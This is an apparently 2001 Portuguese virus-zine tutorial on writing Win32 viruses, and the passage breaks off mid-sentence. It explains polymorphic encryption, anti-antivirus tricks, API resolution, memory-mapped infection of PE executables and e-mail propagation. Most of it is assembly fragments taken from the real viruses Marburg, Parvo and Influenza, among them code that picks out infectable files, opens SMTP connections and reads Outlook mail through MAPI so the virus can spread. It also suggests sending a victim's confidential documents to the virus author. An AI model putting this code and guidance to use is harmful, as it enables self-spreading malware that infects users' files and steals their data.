Virus Brasil nº8:(win32.txt):20/02/2001 << Back To Virus Brasil nº 8
─────────────────────────────────────────────────────────────────────────── __ ___ ___ / __ . __ |\/| |__| | |__ |__) | |__| | | | | | |___ | \ | | | ─────────────────────────────────────────────────────────────────────────── ────────────────────────────────────────────────── 2 - Introducao a programacao de virus em Win32 ────────────────────────────────────────────────── GriYo <griyo@akrata.org> traduzido por Dr Herman Indice Olhando o passado Um alfabeto infinito Quem escondeu a caixa de ferramentas ? Tudo que queriamos fazer Memoria fotografica Protecao contra erros Um muro alto, mas com portas Tem mensagem pra voce ----------------- Olhando o passado ----------------- Se dermos um passeio pela Internet buscando paginas especializadas em virus, encontraremos uma porrada de documentos, colecoes de virus, fontes, links "mortos" e todo tipo de informacao totalmente obsoleta. O motivo disso e o desaparecimento paulatino do MSDOS. Cerca 90% dos 30.000 virus existentes hoje sao virus MSDOS. { Atualizando ... hoje inicio de 2001 estamos na marca de uns 50000 } A maioria destes virus que foram tao famosos deixaram de funcionar com o aparecimento do Windows. Muitos virus utilizam metodos nao- documentados e pouco compativeis e, da mesma maneira que ocorre com os "exploits" e com os "denail of service", as tecnicas utilizadas deixam de funcionar, e os problemas de seguranca diminuem (embora em algumas ocasioes aumentem). Com o aparecimento do Windows 3.0 muitos virus perderam a compatibilidade, mas a "cena" ainda estava muito concorrida, e nao tardou a aparecerem trabalhos orientados a este novo enfoque. O mesmo aconteceu com a chegada das sucessivas versoes do Windows anteriores ao 95. Trabalhos como o virus "Sucksexee" (tambem conhecido como "Implant.6128") levaram ao extremo a capacidade do MSDOS. Algumas caracteristicas deste virus sao: - Full-stealth: Esta tecnica consiste em ocultar totalmente a existencia do virus. Se abrirmos um arquivo infectado, este parecera normal. O mesmo ocorre se tentarmos usar um debugger. Nao se nota nenhum aumento no tamanho dos executaveis, com excecao de alguns que crescem cerca de 6Kb. - Retro-virus: O virus foi desenhado para atacar diretamente o anti-virus. Um exemplo: estando o virus ativo em memoria antes de executarmos o conhecido anti-virus ThunderByte, certos parΓmetros sao colocados automaticamente na linha de comandos, de forma que a "busca" (scan) em memoria fosse desativada sem que o usuario percebesse. Outra caracteristica "retro" deste virus e sua capacidade de desativar o "boot" a partir de disquetes, o que obrigava o "boot" a partir do HD da maquina ja infectada. - Polimorfismo: Esta tecnica surgiu com autores como Dark Avenger com seu "Mutation Engine" ou com o grupo holandes Trident e seu "TPE". A ideia basica era criar um procedimento que percorre o virus, encriptando cada byte. Este procedimento deve ser gerado de forma que variasse de infeccao a infeccao. As possiveis variacoes deste procedimento sao: . percorrer o virus desde ao endereco de memoria mais baixa, incrementando a cada iteracao o ponteiro que faz referencia a este endereco de memoria. O caso oposto, percorrer o virus do final (endereco de memoria mais alto) ate o inicio, decrementando o ponteiro a cada iteracao. A cada iteracao o ponteiro incrementaria ou decrementaria, mas esta variacao poderia ser de 1 ou 2 bytes, visto que o 8086 e seus sucessores permitem realizar operacoes com bytes ou words. . a operacao aritmetica usada para encriptar o virus tambem e variavel. Qualquer uma serve, por mais simples que seja -- o importante e alcancar a maxima variacao. A rotina pode percorrer o virus somando 01h a cada byte, restando, fazendo um OU EXCLUSIVO (XOR) ou deslocando o cada valor um numero de bits para a esquerda ou direita. O importante e que a operacao utilizada seja concissa e tenha uma inversa. Como vimos, e possivel fazer infinitas combinacoes e este e o segredo. Os anti-virus, naqueles tempos, realizam a busca de arquivos infectados mediante uma comparacao de cadeias (strings). O anti-virus abria cada arquivo do disco e buscava em seu interior fragmentos do virus. Este metodo apresentava problemas claramente evidentes: E necessario conhecer a cadeia que se quer buscar, por que so podem ser detectados aqueles virus "conhecidos" pelo anti-virus. Com o crescimento do nemero de virus, crescia a quantidade de cadeias a serem buscadas em cada arquivo e consequentemente, o tempo de verificacao (scan). O polimorfismo significou o fim de todos os metodos de deteccao. Um virus polimorfico apresenta um nemero tao elevado de mutacoes que seria impossivel armazenar e buscar todas suas variantes. - Multi-partes (multipartite): O virus infecta meltiplos alvos num mesmo sistema. Neste caso, trata-se do virus MBR (Master Boot Record), os arquivos com extensao .COM, os arquivos .EXE e inclusive os arquivos .SYS. Encontramos esta caracteristica em sua maxima expressao nos virus multi-plataforma. Eu me atreveria dizer que dificilmente se poderia chegar tao longe com tecnicas utilizadas sem afetar a capacidade do sistema, mas entao os desenvolvedores de antivirus disseram que estavam com a solucao definitiva. Surgia a busca heuristica, baseada na aplicacao de tecnicas de inteligencia artificial. Mas todos nos sabemos que por mais 'inteligente' que seja um programa de computador, jamais sera igual a um ser humano, e nao tardou a aparecer tecnicas *anti-heuristicas*. Mas vejamos um pouco mais sobre a busca heuristica. Trata-se de examinar um programa em busca de sinais de infeccao. Um virus, quando infecta um executavel, precisa fazer algumas mudancas nele, sendo que estas mudancas sao suspeitas para o antivirus. Os "motores" heuristicos mais avancados sao capazes de detectar virus polimorficos, ja que detectam a rotina de encriptacao que falamos anteriormente, e ainda chegam mais longe, e com emulacao sao capazes de desfazer esta rotina e obter uma imagem clara do virus, podendo aplicar entao a busca por cadeia tradicional. O problema da busca heuristica esta em que esta oferece sempre uma solucao, mesmo que nao seja correta. Estou me referindo aos falsos positivos, quer dizer, programas que por suas caracteristicas especiais dao positivo ao se buscar um virus neles. Em mais de uma ocasiao, antivirus conhecidos deram como infectado alguns arquivos do sistema, juntamente com uma avalanche de usuarios aborrecidos. Com a aparicao do Windows 95 e a nova plataforma Win32, todas estas tecnicas, dependentes do funcionamento interno do MSDOS, deixaram de funcionar. A maioria dos virus de boot se delatam ao infectar uma maquina com Windows 95, que incorpora alguns mecanismos de protecao contra virus, mesmo que basicos e primitivos. Outro exemplo de perda de funcionalidade sao os virus "stealth", ja que empregam tecnicas incompativeis com o novo formato de nomes extensos e novas funcoes de busca de arquivos do sistema. O desenvolvimento de virus parou por um tempo. Continuavam a surgir virus de MSDOS, mas o perigo ja estava longe. Apareceram as primeiras tentativas na plataforma Win32, na mao do sempre inovador grupo VLAD e seu virus Bizatch (chamado de Boza pelos programadores de antivirus). Este virus utiliza tecnicas primitivas que impediam seu funcionamento correto (como assumir enderecos fixos em memoria para o kernel e suas funcoes), mas era um primeiro passo que seguramente motivou muitos outros autores que nao demoraram em dar o passo e comecar a estudar a nova plataforma. Foi neste passo, para alguns passos de gigante, que a maior parte da cena desapareceu. As paginas web que antes continham informacoes pontuais sobre a cena, deixaram de ser atualizadas com tanta regularidade, devido a falta de avancos e descobrimentos. Apenas alguns grupos concentraram suas forcas na nova plataforma, e apareceram as primeiras tentativas serias, das maos de grupos como IKX ou 29A. Jacky Qwerty, autor do grupo 29A foi sem duvida um dos pioneiros da tecnologia virotica sob 32 bits. Seus virus Jacky e Cabanas criaram as bases do que logo seriam infectadores mais completos e avancados. Os desenvolvedores de anti-virus ainda estavam pensando como portar seus "motores" de busca heuristica para Win32 quando apareceu o primeiro virus polimorfico capaz de infectar executaveis de Win32. Marburg pegou muitos de calcas baixas, e chegou ate a aparecer nos cdroms de revistas amplamente difundidas como PcGamer e PcPowerPlay. As primeiras amostras do virus Marburg cairam nas maos dos desenvolvedores de anti-virus em agosto de 1998, quando o virus estava 9 meses "in the wild" (espalhando-se de modo aleatorio pelo mundo). Nao tardaram um ou dois meses mais para que adaptar seus pacotes para afrontar este novo ataque. A guerra estava declarada novamente. A nova plataforma supoe um esforco extra na hora de desenvolver um virus, mas seu maior potencial coloca nas maos dos programadores armas mais potentes. Descrever este novo potencial e sua aplicacao ao se desenvolver um virus e o objetivo deste artigo. -------------------- Um alfabeto infinito -------------------- Esta claro que 16 bits nao e o mesmo que 32 bits, mas que diferenca isso faz na hora de projetar um motor de polimorfismo ? Para comecar, nao contamos apenas com registros de 16 bits (ax, bx, etc...) mas sim com toda a potencia do conjunto de registros estendidos (eax, ebx, etc...). Uma primeira melhora sobre o motor de polimorfismo de 16 bits seria aumentar os 16 bits que faltam para chegar a 32. Vejamos um exemplo com uma instrucao simples no assembly, MOV com o registro acumulador como destino. Onde antes apenas poderiamos gerar: MOV AL,imm8bit MOV AH,imm8bit MOV AX,imm16bit Agora contamos com as seguintes possibilidades: MOV AL,imm8bit MOV AH,imm8bit MOV AX,imm16bit MOV EAX,imm32bit Isso apenas supoe um incremento na variabilidade de uma instrucao, mas se apliarmos o exemplo para o resto dos registros e para o resto das instrucoes veremos que se trata de uma importante melhora. Outro aspecto importante esta no acesso a memoria que a rotina realiza na hora de desencriptar o virus. Nos motores de polimorfismo antigos contavamos com o acesso byte a byte ou word a word. Exemplo: ADD BYTE PTR DS:[mem],imm8bit ADD WORD PTR DS:[mem],imm16bit Visto que agora usamos Win32, nao apenas podemos nos livrar dos registros de segmento (a memoria parece seqⁿencial no ponto de vista de uma aplicacao e nao segmentada), como podemos contar com instrucoes que acessam posicoes de memoria de 32 bits. O exemplo anterior seria expandido em: ADD BYTE PTR [mem],imm8bit ADD WORD PTR [mem],imm16bit ADD DWORD PTR [mem],imm32bit Novamente, temos apenas uma possibilidade de variacao, mas repito, se aplicarmos todas as possiveis instrucoes teremos uma bonita explosao combinatoria. Uma delas foi formada pelos novos metodos de indexacao, onde antes tinhamos: ADD BYTE PTR DS:[reg],imm8bit ADD BYTE PTR DS:[reg+imm],imm8bit Agora nos deparamos com as seguintes possibilidades: ADD BYTE PTR [reg],imm8bit ADD BYTE PTR [reg+imm],imm8bit ADD BYTE PTR [reg+reg],imm8bit ADD BYTE PTR [reg+reg+imm],imm8bit Alem disso, podemos utilizar algum dos exoticos modos de indexacao do 386+ como por exemplo [reg*02h]. Aqui temos mais possibilidades, que se multiplicam ao aplicar o exemplo nao apenas em ADD e as referencias a BYTE, mas a todo o resto das instrucoes e ao resto dos tamanhos do operador (WORD e DWORD). Evidentemente, um grande potencial, e olhe que apenas estamos falando de instrucoes e registros. A geracao automatica de codigo polimorfico alcanca seus v⌠os mais altos em motores capazes de seguir a evolucao do codigo que geraram, conhecendo em qualquer momento o estado de qualquer registro ou mesmo seu valor. Continuando, podemos observar um trecho do desencriptador polimorfico que o virus Win32.Influenza utiliza para ocultar sua presenca nos arquivos infectados: :00401376 E81D000000 call 00401398 . . . . . . :00401398 BE5F4D853E mov esi,3E854D5F :0040139D 87DE xchg esi,ebx :0040139F 5B pop ebx :004013A0 668BFB mov di,bx :004013A3 8BF8 mov edi,eax :004013A5 66BDB0C8 mov bp,C8B0 :004013A9 5D pop ebp :004013AA 0F8C03000000 jl 004013B3 :004013B0 6687D3 xchg bx,dx :004013B3 FD std :004013B4 664B dec bx :004013B6 E9AA260100 jmp 00413A65 . . . . . . :00413A65 E815000000 call 00413A7F . . . . . . :00413A7F 87FA xchg edx,edi :00413A81 F8 clc :00413A82 664F dec di :00413A84 5B pop ebx :00413A85 8AEE mov ch,dh :00413A87 E912000000 jmp 00413A9E Podemos observar como o codigo gerado apresenta uma estrutura complexa similar a de um programa real. O motor de polimorfismo nao tem problemas para gerar estruturas como a instrucao CALL do endereco de memoria 00401376, que transfere o controle para uma posicao mais adiante. No endereco 0040139F encontramos uma instrucao POP que restaura a pilha, eliminando o endereco de retorno guardado pela chamada anterior. -------------------------------------- Quem escondeu a caixa de ferramentas ? -------------------------------------- Nos virus baseados em MSDOS utilizavamos as interrupcoes que nos permitiam acessar funcoes do MSDOS (int 21h) ou da BIOS (int 13h). Todas estas funcoes que utilizavamos para abrir um arquivo ou escrever nele agora residem em DLLs, neste caso na KERNEL32.DLL. Localizar o endereco em memoria onde reside este modulo e vital, e para isso contamos com varios truques. O virus pode localizar as funcoes utilizadas pelo programa que o hospeda, e utiliza-las para infectar. Isso implicaria numa grave limitacao: se um executavel nao utiliza alguma das funcoes necessarias para o funcionamento do virus, este executavel nao poderia ser infectado. Uma forma de evitar este problema: O virus localiza o lugar onde o programa hospedeiro guarda o endereco da funcao GetModuleHandle e da funcao GetProcAddress. Estas funcoes sao utilizadas por praticamente todos os executaveis do Windows, e permitem que o virus localize o endereco de memoria onde reside o modulo do kernel (GetModuleHandle), assim como todas as suas funcoes exportadas (GetProcAddress). Outra possibilidade e rastrear a memoria em busca do kernel mas, e claro, isso nao e tao facil com parece, ja que se durante esta busca acessarmos um endereco protegido ou nao atribuido, provocaremos um erro de protecao, e conseqⁿentemente aquela mensagem que indica que nosso programa executou uma instrucao invalida. Para evitar isso, contamos com uma das caracteristicas mais eteis do Win32, que trataremos com detalhes mais adiante, estou me referindo a SEH (Structered Exception Handling). Existem outros metodos e seguramente aparecerao outros, mas estes dois sao os mais eficazes quando escrevi este. Uma vez que o virus tem acesso as API's do sistema, praticamente nao ha nada o que nao possa ser feito. Ou ha? Para comecar, o virus pode colocar em funcionamento as APIs SetModuleHandle e GetProcAddress que servira de ponto de entrada para uma porcao de funcoes do kernel. Exemplo: CreateFile CreateFileMapping CloseHandle CopyFile CreateProcess DeleteFile FileTimeToSystemTime FindClose FindFirstFile FindNextFile FreeLibrary GetCurrentDirectory GetCurrentProcess GetFileAttributes GetFileSize GetModuleFilename GetSystemDirectory GetTempPath GetWindowsDirectory LoadLibrary MapViewOfFile MoveFile SetEndOfFile SetFileAttributes SetFileTime SystemTimeToFileTime UnmapViewOfFile VirtualAlloc WriteProcessMemory Algumas ou todas estas APIs podem ser utilizadas no virus. Destaco a funcao LoadLibrary, que nos permitira carregar na rotina qualquer modulo do Windows e utilizar suas APIs. O seguinte fragmento pertence ao virus Marburg. Trata-se da rotina encarregada de localizar cada uma das APIs do kernel necessarias para o funcionamento do virus, todo ele com a ajuda de GetProcAddress. get_K32_APIs: push ebx lea esi,dword ptr [ebp+viral_functions] lea edi,dword ptr [ebp+viral_addresses] mov ecx,(offset viral_tbl_end-offset viral_functions)/04h get_each_ep: cld lodsd add eax,ebp push ecx push esi push edi push eax push dword ptr [ebp+a_Kernel32] call dword ptr [ebp+a_GetProcAddr] pop edi pop esi pop ecx or eax,eax jz exit_get_func cld stosd loop get_each_ep exit_get_func: mov ecx,eax pop ebx ret viral_functions equ this byte dd offset szCreateFileA dd offset szCreateFileMap dd offset szMapViewOfFile dd offset szUnmapView dd offset szCloseHandle dd offset szFindFirst dd offset szFindNext dd offset szFindClose dd offset szVirtualAlloc dd offset szGetWinDir dd offset szGetSysDir dd offset szGetCurDir dd offset szSetFileAttr dd offset szSetFileTime dd offset szDeleteFile dd offset szGetCurProc dd offset szWriteProcMem dd offset szLoadLibrary dd offset szGetSysTime viral_tbl_end equ this byte szGetModuleH db "GetModuleHandleA",00h szGetProcAddr db "GetProcAddress",00h szCreateFileA db "CreateFileA",00h szCreateFileMap db "CreateFileMappingA",00h szMapViewOfFile db "MapViewOfFile",00h szUnmapView db "UnmapViewOfFile",00h szCloseHandle db "CloseHandle",00h szFindFirst db "FindFirstFileA",00h szFindNext db "FindNextFileA",00h szFindClose db "FindClose",00h szVirtualAlloc db "VirtualAlloc",00h szGetWinDir db "GetWindowsDirectoryA",00h szGetSysDir db "GetSystemDirectoryA",00h szGetCurDir db "GetCurrentDirectoryA",00h szSetFileAttr db "SetFileAttributesA",00h szSetFileTime db "SetFileTime",00h szDeleteFile db "DeleteFileA",00h szGetCurProc db "GetCurrentProcess",00h szWriteProcMem db "WriteProcessMemory",00h szLoadLibrary db "LoadLibraryA",00h szGetSysTime db "GetSystemTime",00h viral_addresses equ this byte a_CreateFile dd 00000000h a_CreateFileMap dd 00000000h a_MapViewOfFile dd 00000000h a_UnmapView dd 00000000h a_CloseHandle dd 00000000h a_FindFirst dd 00000000h a_FindNext dd 00000000h a_FindClose dd 00000000h a_VirtualAlloc dd 00000000h a_GetWindowsDir dd 00000000h a_GetSystemDir dd 00000000h a_GetCurDir dd 00000000h a_SetFileAttr dd 00000000h a_SetFileTime dd 00000000h a_DeleteFile dd 00000000h a_GetCurProc dd 00000000h a_WriteProcMem dd 00000000h a_LoadLibrary dd 00000000h a_GetSysTime dd 00000000h ------------------------ Tudo que queriamos fazer ------------------------ Utilizando as API's do kernel LoadLibrary e GetProcAddress podemos carregar qualquer modulo do Windows e obter os enderecos das API's que nos interessam dentro deles. Assim poderemos incluir em nosso virus muitas caracteristicas novas que antes eram impensaveis quando trabalhavamos com o MSDOS. Eis alguns modulos cujas API's podemos usar: USER32.DLL e GDI32.DLL ---------------------- O coracao da interface grafica que fez o Windows tao famoso esta a nossa disposicao para facilitarmos as coisas na hora de criar "payloads" vistosos para nossos virus. WSOCK32.DLL ----------- Esta biblioteca proporciona uma gama de funcoes orientadas a aplicacoes que usam TCP/IP. Com sua ajuda podemos criar aplicacoes como um cliente FTP ou um cliente TELNET, mas tambem podemos as utilizar dentro de um virus para, por exemplo, conectar com um servidor de mail, compor e enviar a mensagem. Esta mensagem pode ser enviada para outros usuarios junto com uma copia do virus (mail spreading) ou pode enviar para uma conta pertencente ao autor do virus documentos confidenciais localizados na maquina contaminada. WININET.DLL ----------- Este modulo contem funcoes destinadas a facilitar tarefas tipicas de aplicacoes orientadas a Internet. Dentro deste modulo encontraremos funcoes que nos permitam conectar ao nosso provedor Internet, trasmitir arquivos (FTP), descarregar paginas web ou brincar com os "cookies". MAPI32.DLL ---------- Este modulo abriga as funcoes de mensagens do Windows. Com a mesma podemos construir de forma compacta um email e anexar um arquivo no mesmo. Nem sempre encontraremos este modulo no sistema, e sua utilizacao provoca em certas ocasioes o aparecimento de mensagens indicando o estado da operacao que esta sendo realizada (a tipica mensagem mostrada pelo Outlook: "conectando com o servidor" ou "enviando mensagem"). ╔ por isso que, mesmo simplificando as tarefas de enviar correio, nao e recomendavel sua utilizacao num virus, onde se supoe que deva ser um pouco mais "discreto". ADVAPI32.DLL ------------ O registro do sistema e sem devida uma importantissima fonte de informacao. Nele podemos extrair nomes de diretorios, servidores, senhas e todo tipo de informacao *sensible*. Estes sao alguns dos modulos mais "gulosos" cujas funcoes podemos utilizar nos nossos virus, mas existe toda uma pilha de modulos destinados a meltiplas tarefas. Nao temos mais que fechar os olhos para o diretorio SYSTEM32. Outros modulos interessantes para a programacao de virus poderiam ser: NETAPI32.DLL, SHELL32.DLL, RASAPI.DLL, OPENGL32.DLL ... ------------------- Memoria fotografica ------------------- Esta caracteristica do Win32 nos da a possibilidade de trazermos um executavel inteiro para a memoria, por maior que seja, e acessa-lo facilmente utilizando com indice o endereco de memoria onde foi mapeado. Desta forma evitamos os constantes acessos a disco e deslocamentos desnecessarios do ponteiro de leitura/escrita. O procedimento e o seguinte: Obtemos um handle para o arquivo que queremos abrir utilizando CreateFile. Mapeamos o arquivo em memoria usando a API CreateFileMapping. Uma vez mapeado, obtemos o endereco base em memoria onde foi mapeado o arquivo utilizando MapViewOfFile. Uma vez que trouxemos o executavel inteiro para a memoria (se for muito grande o Windows se encarrega de fazer o correspondente swap), podemos percorrer sua estrutura interna sem problemas, apenas teremos que somar o endereco base com o deslocamento que queremos acessar. Os arquivos mapeados em memoria permitem que um virus infecte uma grande quantidade de arquivos em pouco tempo e sem que seja percebido. Vejamos um exemplo de como funcionam estas APIs: xor eax,eax ; push eax ; push FILE_ATTRIBUTE_NORMAL ; Atributos push OPEN_EXISTING ; Acao push eax ; push eax ; push GENERIC_WRITE or GENERIC_READ ; Modo de acceso lea eax,dword ptr [ebp+file2open] ; Nome do arquivo push eax ; call dword ptr [ebp+a_CreateFileA] ; cmp eax,INVALID_HANDLE_VALUE ; Erro ? je error_createfile ; mov dword ptr [ebp+h_CreateFile],eax ; Guardamos o handle xor eax,eax ; push eax ; push dword ptr [ebp+size] ; Tamanho do arquivo push eax ; push PAGE_READWRITE ; Direitos push eax ; push dword ptr [ebp+h_CreateFile] ; Handle call dword ptr [ebp+a_CreateFileMappingA] ; or eax,eax ; Erro ? jz error_filemap ; mov dword ptr [ebp+h_FileMap],eax ; Guardamos o handle xor eax,eax ; push dword ptr [ebp+size] ; Tamanho do arquivo push eax ; push eax ; push FILE_MAP_READ or FILE_MAP_WRITE ; Modo de acceso push eax ; call dword ptr [ebp+a_MapViewOfFile] ; or eax,eax ; Erro ? jz error_view ; mov dword ptr [ebp+base_addr],eax ; Guardamos o endereco Como resultado da executacao satisfatoria do codigo anterior, teremos um ponteiro (que guardamos no endereco local indicado por base_addr) para o arquivo em memoria. Utilizaremos este ponteiro para ler ou escrever na memoria, refletindo estas leituras e escritas no arquivo em disco. Uma limitacao desta tecnica e que nao podemos aumentar o arquivo uma vez aberto. No codigo anterior podemos observar que um dos parΓmetros de chamada destas API's e o tamanho do arquivo. Pois bem, teremos que abrir o arquivo indicando seu tamanho mais o tamanho requerido pelo virus. Mas na primeira vez que abrimos o arquivo ainda nao sabemos se ele e uma vitima valida. Algumas solucoes para este problema: Abrir o arquivo com acesso apenas de leitura e respeitando seu tamanho original. Uma vez que comprovarmos que se trata de um arquivo apto para infeccao fechamos o *FileMapping* e voltamos a criar, especificando desta vez o tamanho original mais o tamanho necessario para abrigar o virus. Outra possibilidade seria abrir o arquivo e criar uma imagem sua em memoria apenas uma vez, incluindo o tamanho do virus. Se ao inspeccionar o executavel descobrirmos que nao esta apto para a infeccao, restauraremos o tamanho original utilizando a API "SetEndOfFile". --------------------- Protecao contra erros --------------------- O tratamento de erros (Structured Exception Handling) e sem devida uma das caracteristicas mais interessantes e mais utilizadas do Win32 e uma das menos documentadas, pelo menos no que se refere seu funcionamento interno. Descrever o funcionamento e a implemantacao desta tecnica poderia ser o objetivo de um outro artigo, e consequentemente nao sera tratado aqui. Para obter mais informacao visite minha pagina web (BioTech), na secao "PAPERS" encontrara o artigo "A Crash Course on th Depths of Win32 Structured Exception Handling". Um artigo interessantissimo escrito por Matt Pietrek (autor de livros como "Windows 95 System Programming Secrets") sobre as entranhas do "SEH". ---------------------------- Um muro alto, mas com portas ---------------------------- A Microsoft introduziu um novo formato para os arquivos executaveis com a chegada da plataforma Win32. O novo formato, chamado "Portable Executable", que parece ser mais completo a primeira vista, apresenta uma estrutura hierarquizada que, uma vez compreendida as estruturas internas que lhe formam, facilita bastante o trabalho de busca, analise e modificacao dos campos que nos interessam. O primeiro que encontrarmos ao analizar a estrutura de um PE e o cabecalho MSDOS. Trata-se do mesmo cabecalho que possuem os arquivos .EXE do MSDOS. Sua finalidade e mostrar uma mensagem que diz algo como "This program cannot be run in DOS mode", quando tentamos executar uma aplicacao do Windows estando no MSDOS. O cabecalho dos arquivos .EXE do MSDOS possui uma marca que permite identifica-lo como tal. Podemos ve-la se abrirmos algum executavel com um editor hexadecimal -- trata-se dos caracteres "MZ". Do mesmo modo, o cabecalho PE e identificado pela cadeia (string) "PE\0\0" que encontramos como o primeiro campo. A continuacao aparece em "FileHeader", que obtem informacao basica sobre o arquivo, como o nemero de secoes que possui ou a data e hora em que foi "linkado". Vejamos a declaracao da estrutura: IMAGE_FILE_HEADER STRUC FH_Machine DW ? FH_NumberOfSections DW ? FH_TimeDateStamp DD ? FH_PointerToSymbolTable DD BYTE PTR ? FH_NumberOfSymbols DD ? FH_SizeOfOptionalHeader DW ? FH_Characteristics DW ? IMAGE_FILE_HEADER ENDS IMAGE_SIZEOF_FILE_HEADER EQU SIZE IMAGE_FILE_HEADER Segue a "OptionalHeader", que mesmo com seu nome "optional" contem informacao concreta e indispensavel para a correta interpretacao do resto do executavel. Esta e a declaracao: IMAGE_OPTIONAL_HEADER STRUC ; Campos padrao: OH_Magic DW ? OH_MajorLinkerVersion DB ? OH_MinorLinkerVersion DB ? OH_SizeOfCode DD ? OH_SizeOfInitializedData DD ? OH_SizeOfUninitializedData DD ? OH_AddressOfEntryPoint DD BYTE PTR ? OH_BaseOfCode DD BYTE PTR ? OH_BaseOfData DD BYTE PTR ? ; Campos adicionais NT: OH_ImageBase DD BYTE PTR ? OH_SectionAlignment DD ? OH_FileAlignment DD ? OH_MajorOperatingSystemVersion DW ? OH_MinorOperatingSystemVersion DW ? OH_MajorImageVersion DW ? OH_MinorImageVersion DW ? OH_MajorSubsystemVersion DW ? OH_MinorSubsystemVersion DW ? OH_Reserved1 DD ? OH_SizeOfImage DD ? OH_SizeOfHeaders DD ? OH_CheckSum DD ? OH_Subsystem DW ? OH_DllCharacteristics DW ? OH_SizeOfStackReserve DD ? OH_SizeOfStackCommit DD ? OH_SizeOfHeapReserve DD ? OH_SizeOfHeapCommit DD ? OH_LoaderFlags DD ? OH_NumberOfRvaAndSizes DD ? UNION OH_DataDirectory IMAGE_DATA_DIRECTORY \ IMAGE_NUMBEROF_DIRECTORY_ENTRIES \ DUP (?) OH_DirectoryEntries IMAGE_DIRECTORY_ENTRIES ? ENDS IMAGE_OPTIONAL_HEADER ENDS IMAGE_SIZEOF_STD_OPTIONAL_HEADER EQU 28d IMAGE_SIZEOF_NT_OPTIONAL_HEADER EQU SIZE IMAGE_OPTIONAL_HEADER No arquivo PE.INC encontrara a declaracao do resto das estruturas que compoem o cabecalho PE. Como exemplo de acesso a estas estruturas vemos, na continuacao, um fragmento do virus Win32.Parvo, no qual o virus verifica alguns campos do cabecalho PE para comprovar se o executavel esta apto para o metodo de infeccao utilizado: ; Verificar se a marca MZ esta presente no endereco base ; do arquivo mapeado em memoria cld cmp word ptr [ebx],IMAGE_DOS_SIGNATURE jne inf_close_file ; Checar a posicao da "relocation table" cmp word ptr [ebx+MZ_lfarlc],0040h jb inf_close_file ; Agora verificamos o cabecalho PE e verificamos se ; podemos encontrar ali a marca que a identifica mov esi,dword ptr [ebx+MZ_lfanew] add esi,ebx lodsd cmp eax,IMAGE_NT_SIGNATURE jne inf_close_file ; Verificar a CPU para a qual foi compilado este ; executavel. Permitir somente executaveis para Intel i386 cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386 jne inf_close_file ; Olhamos as caracteristicas para comprovar que se trata de um executavel mov ax,word ptr [esi+FH_Characteristics] test ax,IMAGE_FILE_EXECUTABLE_IMAGE jz inf_close_file ; Evitamos infectar DLL's test ax,IMAGE_FILE_DLL jnz inf_close_file ; Infectar apenas aplicacoes graficas, e nao as de console cmp word ptr [esi+ \ IMAGE_SIZEOF_FILE_HEADER+ \ OH_Subsystem],IMAGE_SUBSYSTEM_WINDOWS_GUI jne inf_close_file --------------------- Tem mensagem pra voce --------------------- Quem ainda nao brincou enviando um email utilizando um cliente TELNET? e bem facil, nos conectamos a porta 25 (SMTP) do servidor de correio e vamos enviando os comandos necessarios para construir uma mensagem, a saber: 220 mail.servidor.qualquer SMTP/smap Ready. helo servidor.meu 250 (servidor.meu) pleased to meet you. mail from: <usuario@servidor.meu> 250 <usuario@servidor.meu>... Sender Ok rcpt to: <destinatario@servidor.seu> 250 <destinatario@servidor.seu> OK data 354 Enter mail. end with "." on a line by itself. from: usuario <usuario@servidor.meu> to: destinatario <destinatario@servidor.seu> subject: Este e' o assunto Este e' o corpo da mensagem . 250 Mail accepted quit 221 Closing connection Pois e exatamente isto que um virus tem que fazer para gerar uma mensagem de correio eletronico. Com a ajuda das funcoes do WINSOCK.DLL podemos realizar estas operacoes. Implementar um 'daemon' SMTP (Simple Mail Transfer Protocol) em assembly nao e tarefa facil, vejamos como exemplo um fragmento do virus Win32.Influenza, no qual encontramos um exemplo de como se conectar com o servidor de email: lea eax,dword ptr [ebp+WSA_data] ; Iniciar WINSOCK push eax ; push 00000101h ; call dword ptr [ebp+a_WSAStartup] ; or eax,eax ; Error ? jnz WSA_CleanUp ; lea eax,dword ptr [ebp+host_name] ; Obter host a partir de push eax ; seu nome call dword ptr [ebp+a_gethostbyname] ; or eax,eax ; Error ? jz WSA_CleanUp ; cld ; lea esi,dword ptr [eax+00000008h] ; lea edi,dword ptr [ebp+SockAddrIn] ; push edi ; movsw ; push 25 ; Porta SMTP call dword ptr [ebp+a_htons] ; Converter byte-order cld ; stosw ; lodsw ; movzx ecx,ax ; lodsd ; mov esi,dword ptr [eax] ; rep movsb ; Preparar SockAddrIn push ecx ; push SOCK_STREAM ; Usar TCP push AF_INET ; Internet call dword ptr [ebp+a_socket] ; Criamos o socket pop edi ; cmp eax,00000000h ; Erro ? jl WSA_CleanUp ; mov dword ptr [ebp+conn_sock],eax ; Guardar descriptor push SizeOfAddrIn ; push edi ; push eax ; call dword ptr [ebp+a_connect] ; Conectar cmp eax,0FFFFFFFFh ; Erro ? je Disconnect ; A definicao das estruturas utilizadas no exemplo anterior, como WSA_data ou SockAddrIn, podem ser encontradas nos arquivos "includes" de nosso compilador C favorito... ou no Win32 SDK da Microsoft, onde aparecem com informacoes detalhadas sobre sua utilizacao. O enico inconveniente e que temos que portar tudo para assembly, mas tambem se tem uma vantagem, tente escrever a mesma funcao em C e compare o tamanho dos executaveis resultantes. Uma forma de enviar email, simples e eficaz apesar de ser um tanto descarada, ja encontramos no seguinte codigo, que utiliza funcoes de MAPI: ; Registrar nossa secao MAPI lea eax,dword ptr [ebp+hMAPISession] push eax ;lppSession push 00000000h ;ulReserved push 00000020h or 00008000h ;flFlags push 00000000h ;lpszPassword push 00000000h ;lpszProfileName push 00000000h ;ulUIParam call dword ptr [ebp+a_MAPILogon] or eax,eax jnz freeMAPI32 ; Buscar uma mensagem qualquer dentro das pastas do Outlook lea eax,dword ptr [ebp+MessageID] push eax ;lpszMessageID push 00000000h ;ulReserved ;MAPI_LONG_MSGID = 00004000h push 00004000h ;flFlags push 00000000h ;lpszSeedMessageID push 00000000h ;lpszMessageType push 00000000h ;ulUIParam push dword ptr [ebp+hMAPISession] ;lhSession call dword ptr [ebp+a_MAPIFindNext] or eax,eax jnz logoutMAPI32 ; Pegamos a mensagem lea eax,dword ptr [ebp+MessagePtr] push eax ;lppMessage push 00000000h ;ulReserved ;MAPI_ENVELOPE_ONLY = 00000040 ;MAPI_PEEK = 00000080h push 00000080h or 00000040h ;flFlags lea eax,dword ptr [ebp+MessageID] push eax ;lpszMessageID push 00000000h ;ulUIParam push dword ptr [ebp+hMAPISession] ;lhSession call dword ptr [ebp+a_MAPIReadMail] ; Construimos uma nova mensagem utilizando parte da informacao ; obtida da 